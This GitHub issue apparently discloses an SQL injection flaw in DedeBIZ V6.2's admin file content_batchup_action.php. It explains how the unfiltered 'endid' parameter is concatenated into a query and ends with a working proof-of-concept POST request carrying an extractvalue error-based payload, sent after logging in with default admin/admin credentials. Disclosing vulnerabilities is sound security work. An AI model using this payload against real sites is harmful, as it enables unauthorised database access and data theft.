Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SQL injection vulnerability exists in DedeBIZ V6.2 in /src/admin/content_batchup_action.php #1

Open
ycwxy opened this issue Dec 3, 2023 · 0 comments

Comments

@ycwxy
Copy link
Owner

ycwxy commented Dec 3, 2023

[Suggested description]
SQL injection vulnerability exists in DedeBIZ V6.2 in /src/admin/content_batchup_action.php
[Vulnerability Type]
SQL INJECTION
[Vendor of Product]
https://github.com/DedeBIZ/DedeV6
[Affected Product Code Base]
DedeBIZ V6.2
[Affected Component]
File: /src/admin/content_batchup_action.php
Parameter: endid
[Attack Type]
Remote
[Cause of vulnerability]
in /src/admin/content_batchup_action.php,there is possibility of sql injection is the sql statement ‘$dsql->SetQuery("SELECT id FROM #@__archives $gwhere");’
image
In this code, $gwhere is controlled by $endid in the above statement.
if ($endid > $startid) $gwhere .= " AND id<= $endid ";
For $endid, only single quotes are globally filtered without any other protection. $endid is directly concatenated in $gwhere, and $gwhere is directly concatenated in SQL statements,
$dsql->SetQuery("SELECT id,arcrank FROM #@__arctiny $gwhere");
What is more,directly access the PHP file, which can receive data from post requests and select parameters. $endid can be controlled by attackers in post data

Therefore ,the sql injection exists.

[Vulnerability demonstration]

  1. Login into the backend management interface(http://localhost:8086/admin/login.php) with the default account(admin/admin),

image

  1. Proceed with the request webpage as follows.Then the sql injection is triggered
    Request url
    http://localhost:8086/admin/content_batchup_action.php

Postdata
dopost=go&typeid=1&startid=1&userid=1&action=check&&endid=extractvalue(1,concat(0x7e,(select user()),0x7e))

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant